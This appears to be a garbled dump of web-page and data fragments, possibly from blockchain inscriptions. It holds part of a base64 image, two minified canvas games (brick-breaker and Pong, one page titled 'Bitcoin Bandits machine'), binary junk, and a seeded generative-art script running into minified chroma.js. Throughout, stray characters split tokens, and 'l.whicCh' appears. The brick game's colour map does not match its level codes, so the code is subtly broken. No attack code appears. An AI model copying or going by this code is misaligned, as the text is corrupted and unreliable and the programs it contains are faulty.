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" class="background"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","RM
","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWM
idth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.widthM
>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(M
ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ballM
.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.whicCh===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="750" heighM
t="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.heM
ight/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}conteM
xt.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.xM
=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rigM3
htPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!

%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
